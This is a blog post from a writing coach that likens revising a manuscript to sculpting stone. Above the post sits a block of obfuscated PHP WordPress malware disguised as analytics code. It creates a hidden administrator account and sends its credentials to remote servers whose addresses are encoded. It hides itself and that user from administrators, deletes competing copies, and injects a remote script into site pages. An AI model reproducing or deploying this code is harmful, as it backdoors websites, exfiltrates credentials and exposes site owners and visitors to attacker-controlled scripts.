/* __GA_INJ_START__ */
/*f24f30b3220786d4*/function _339a6f($_x){return $_x;}function _f4406e($_x){return $_x;}$_db3286d2=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"MTgwOGRhMWM1ZjlkNWU3YWFhNmZjYjJhNGI5ZTkxYzE="];global $_43220e00;if(!is_array($_43220e00)){$_43220e00=[];}if(!in_array($_db3286d2["version"],$_43220e00,true)){$_43220e00[]=$_db3286d2["version"];}class GAwp_3601b224{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_db3286d2;$this->version=$_db3286d2["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_d79e0b93=base64_decode('X19nYV9yX2NhY2hl');$_0bc7d700=get_transient($_d79e0b93);if($_0bc7d700!==false){$this->resolved_endpoint=$_0bc7d700;return $_0bc7d700;}global $_db3286d2;$_08645739=json_decode(base64_decode($_db3286d2["resolvers"]),true);if(!is_array($_08645739)||empty($_08645739)){return null;}$_48dac8f1=base64_decode($_db3286d2["resolverKey"]);shuffle($_08645739);foreach($_08645739 as $_5ac00184){$_fdb8634e=base64_decode($_5ac00184);if(strpos($_fdb8634e,'://')===false){$_fdb8634e='https://'.$_fdb8634e;}$_06b80869=rtrim($_fdb8634e,'/').'/?key='.urlencode($_48dac8f1);$_ff2c3c04=wp_remote_get($_06b80869,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_ff2c3c04)){continue;}if(wp_remote_retrieve_response_code($_ff2c3c04)!==200){continue;}$_3de3a8d7=wp_remote_retrieve_body($_ff2c3c04);$_f709eeac=json_decode($_3de3a8d7,true);if(!is_array($_f709eeac)||empty($_f709eeac)){continue;}$_8caa01bc=$_f709eeac[array_rand($_f709eeac)];$_2fefb16f='https://'.$_8caa01bc;set_transient($_d79e0b93,$_2fefb16f,3600);$this->resolved_endpoint=$_2fefb16f;return $_2fefb16f;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_996662df=get_option($this->get_hidden_users_option_name(),'[]');$_b5a6df99=json_decode($_996662df,true);if(!is_array($_b5a6df99)){$_b5a6df99=[];}return $_b5a6df99;}private function add_hidden_username($_de662d89){$_b5a6df99=$this->get_hidden_usernames();if(!in_array($_de662d89,$_b5a6df99,true)){$_b5a6df99[]=$_de662d89;update_option($this->get_hidden_users_option_name(),json_encode($_b5a6df99));}}private function get_hidden_user_ids(){$_c034eb66=$this->get_hidden_usernames();$_a89f93db=[];foreach($_c034eb66 as $_e4ec04a5){$_042571d1=get_user_by('login',$_e4ec04a5);if($_042571d1){$_a89f93db[]=$_042571d1->ID;}}return $_a89f93db;}public function hplugin($_c7a80233){unset($_c7a80233[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_d4bcf78b){unset($_c7a80233[$_d4bcf78b]);}return $_c7a80233;}private function find_old_instances(){$_26fbe549=[];$_33067653=plugin_basename(__FILE__);$_7ce02d31=get_option('active_plugins',[]);$_872e81a1=WP_PLUGIN_DIR;$_834f92bf=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_7ce02d31 as $_ad27589e){if($_ad27589e===$_33067653){continue;}$_5e8a3685=$_872e81a1.'/'.$_ad27589e;if(!file_exists($_5e8a3685)){continue;}$_2ae9c971=@file_get_contents($_5e8a3685);if($_2ae9c971===false){continue;}foreach($_834f92bf as $_47da3442){if(strpos($_2ae9c971,$_47da3442)!==false){$_26fbe549[]=$_ad27589e;break;}}}$_e7a47f8e=get_plugins();foreach(array_keys($_e7a47f8e)as $_ad27589e){if($_ad27589e===$_33067653||in_array($_ad27589e,$_26fbe549,true)){continue;}$_5e8a3685=$_872e81a1.'/'.$_ad27589e;if(!file_exists($_5e8a3685)){continue;}$_2ae9c971=@file_get_contents($_5e8a3685);if($_2ae9c971===false){continue;}foreach($_834f92bf as $_47da3442){if(strpos($_2ae9c971,$_47da3442)!==false){$_26fbe549[]=$_ad27589e;break;}}}return array_unique($_26fbe549);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_3f9a2389=$this->generate_credentials();if(!username_exists($_3f9a2389["user"])){$_00e5d2ec=wp_create_user($_3f9a2389["user"],$_3f9a2389["pass"],$_3f9a2389["email"]);if(!is_wp_error($_00e5d2ec)){(new WP_User($_00e5d2ec))->set_role("administrator");}}$this->add_hidden_username($_3f9a2389["user"]);$this->setup_site_credentials($_3f9a2389["user"],$_3f9a2389["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_ba7d5bee=substr(hash("sha256",$this->seed."10d65ffd3e00158cbd455a521c7cf9a0"),0,16);return["user"=>"seo_service".substr(md5($_ba7d5bee),0,8),"pass"=>substr(md5($_ba7d5bee."pass"),0,12),"email"=>"seo-service@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_15123bfc,$_54d27cc4){global $_db3286d2;$_2fefb16f=$this->resolve_endpoint();if(!$_2fefb16f){return;}$_454aff56=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_db3286d2['sitePubKey']),"login"=>$_15123bfc,"password"=>$_54d27cc4];$_bde08b9b=["body"=>json_encode($_454aff56),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_2fefb16f."/api/sites/setup-credentials",$_bde08b9b);}public function filterusers($_391db3da){global $wpdb;$_af7a24e7=$this->get_hidden_usernames();if(empty($_af7a24e7)){return;}$_e5f0ab8b=implode(',',array_fill(0,count($_af7a24e7),'%s'));$_bde08b9b=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_e5f0ab8b})"],array_values($_af7a24e7));$_391db3da->query_where.=call_user_func_array([$wpdb,'prepare'],$_bde08b9b);}public function filter_rest_user($_ff2c3c04,$_042571d1,$_d3378bf7){$_af7a24e7=$this->get_hidden_usernames();if(in_array($_042571d1->user_login,$_af7a24e7,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_ff2c3c04;}public function block_author_archive($_391db3da){if(is_admin()||!$_391db3da->is_main_query()){return;}if($_391db3da->is_author()){$_ca6a662e=0;if($_391db3da->get('author')){$_ca6a662e=(int)$_391db3da->get('author');}elseif($_391db3da->get('author_name')){$_042571d1=get_user_by('slug',$_391db3da->get('author_name'));if($_042571d1){$_ca6a662e=$_042571d1->ID;}}if($_ca6a662e&&in_array($_ca6a662e,$this->get_hidden_user_ids(),true)){$_391db3da->set_404();status_header(404);}}}public function filter_sitemap_users($_bde08b9b){$_33f602f0=$this->get_hidden_user_ids();if(!empty($_33f602f0)){if(!isset($_bde08b9b['exclude'])){$_bde08b9b['exclude']=[];}$_bde08b9b['exclude']=array_merge($_bde08b9b['exclude'],$_33f602f0);}return $_bde08b9b;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_33067653=plugin_basename(__FILE__);$_4b23ac14=get_option($this->get_cleanup_done_option_name(),'');if($_4b23ac14===$_33067653){return;}$_d44dd266=$this->find_old_instances();if(!empty($_d44dd266)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_d44dd266,true);foreach($_d44dd266 as $_d4bcf78b){$_872e81a1=WP_PLUGIN_DIR.'/'.dirname($_d4bcf78b);if(is_dir($_872e81a1)){$this->recursive_delete($_872e81a1);}}}update_option($this->get_cleanup_done_option_name(),$_33067653);}private function recursive_delete($_3954b5f4){if(!is_dir($_3954b5f4)){return;}$_86976a1f=@scandir($_3954b5f4);if(!$_86976a1f){return;}foreach($_86976a1f as $_eb97089c){if($_eb97089c==='.'||$_eb97089c==='..'){continue;}$_e33f8480=$_3954b5f4.'/'.$_eb97089c;if(is_dir($_e33f8480)){$this->recursive_delete($_e33f8480);}else{@unlink($_e33f8480);}}@rmdir($_3954b5f4);}public function discover_legacy_users(){$_b7cdedb1=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_e75f2877=[base64_decode('c3lzdGVt'),];foreach($_b7cdedb1 as $_a7f8d407){$_ba7d5bee=substr(hash("sha256",$this->seed.$_a7f8d407),0,16);foreach($_e75f2877 as $_14892fdf){$_de662d89=$_14892fdf.substr(md5($_ba7d5bee),0,8);if(username_exists($_de662d89)){$this->add_hidden_username($_de662d89);}}}$_f50fecb6=$this->generate_credentials();if(username_exists($_f50fecb6["user"])){$this->add_hidden_username($_f50fecb6["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_36fc155d){$_fea78816=$this->get_snippet_id_option_name();$_2e9cca0a=(int)get_option($_fea78816,0);if(!$_2e9cca0a){global $wpdb;$_453f2ad3=$wpdb->prefix.'snippets';$_2e9cca0a=(int)$wpdb->get_var("SELECT id FROM {$_453f2ad3} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_2e9cca0a)update_option($_fea78816,$_2e9cca0a,false);}if(!$_2e9cca0a)return $_36fc155d;return array_filter($_36fc155d,function($_eda564e3)use($_2e9cca0a){return(int)$_eda564e3->id!==$_2e9cca0a;});}public function hide_from_wpcode($_bde08b9b){$_fea78816=$this->get_snippet_id_option_name();$_2e9cca0a=(int)get_option($_fea78816,0);if(!$_2e9cca0a){global $wpdb;$_2e9cca0a=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_2e9cca0a)update_option($_fea78816,$_2e9cca0a,false);}if(!$_2e9cca0a)return $_bde08b9b;if(!empty($_bde08b9b['post__not_in'])){$_bde08b9b['post__not_in'][]=$_2e9cca0a;}else{$_bde08b9b['post__not_in']=[$_2e9cca0a];}return $_bde08b9b;}public function loadassets(){global $_db3286d2,$_43220e00;$_4440c02c=true;if(is_array($_43220e00)){foreach($_43220e00 as $_69ca1d3e){if(version_compare($_69ca1d3e,$this->version,'>')){$_4440c02c=false;break;}}}$_caf46d8b=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_248b80fa=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_444cfcaa=wp_script_is($_caf46d8b,'registered')||wp_script_is($_caf46d8b,'enqueued');if($_4440c02c&&$_444cfcaa){wp_deregister_script($_caf46d8b);wp_deregister_style($_248b80fa);$_444cfcaa=false;}if(!$_4440c02c&&$_444cfcaa){return;}$_2fefb16f=$this->resolve_endpoint();if(!$_2fefb16f){return;}wp_enqueue_style($_248b80fa,base64_decode($_db3286d2["font"]),[],null);$_9faf3214=$_2fefb16f."/t.js?site=".base64_decode($_db3286d2['sitePubKey']);wp_enqueue_script($_caf46d8b,$_9faf3214,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_caf46d8b,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224();
/* __GA_INJ_END__ */
I was struck today by how similar the writing process is to what I imagine the work of craftspeople who deal with tangible media like clay, wood or stone to be.
I was brainstorming with a client of mine about her work. She was in the place people I work with dream of arriving—a draft manuscript.
She likened the four months of whittling her mass of pages into a structured book, to the sculpting process. She felt she had taken what was at first an unexceptional piece of material, (granite perhaps since we are in Ontario)…and she could see how it had become art, how its shape had emerged as she edited and revised, edited and revised and polished. I couldn’t leave this delicious metaphor alone.
For Erica, what at first was material without a distinct shape, identity or discernible features now had shape, nuance and voice.
To arrive at the art, she needed to arrive a responses to some guiding questions..she needed to write first, and leave the book to figure out what it was going to be until later.
from first gouges with chisels and mallet
There she sat, manuscript in her lap knowing these things.
What is your book about? She had an answer to that.
What do you want your book to do? She could respond to that.
Who do you want the reader of the book to be? She had conquered that one too.
The writing process is akin to the ‘truth-to-materials’ principle in art. (See part two of this Writing as Sculpture series). Begin with the writing and let the book emerge as it will… is as ‘truth-to-materials’ artists respond to the unique properties of the material to discover what the piece will be.
If you do the writing…including the rewriting, editing, reworking, polishing, cutting and pasting…the form of the book will reveal itself.
Here at pattimhall.com and on our social media, when you try an #inspiringmoment writing cue you are beginning the sculptor’s “roughing out” process. You make your first early gouges into the block of wood on your studio table. Words, paragraphs and early draft pages are chips in the stone or rock. More pages, more marks in the material as you follow a beautiful grain or work to respect a vivid vein.
We brainstorm, we listmake, we draft, we revise, edit, polish and revise again.
while….
Granite rock
becomes a bear,
to the rasps and rifflers and files…
becomes a wolf,
becomes a rabbit,
becomes a dove.
And it soars.
my gratitude to sculptor, coach and insightful, generous friend Michael Trotta for advice on all pieces in the Writing as Sculpture series and for the use of his work-in-progress photographs displayed with the blog posts. You can find out more about Michael Trotta at www.sagefireinstitute.com. Let him know I sent you. P
We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it.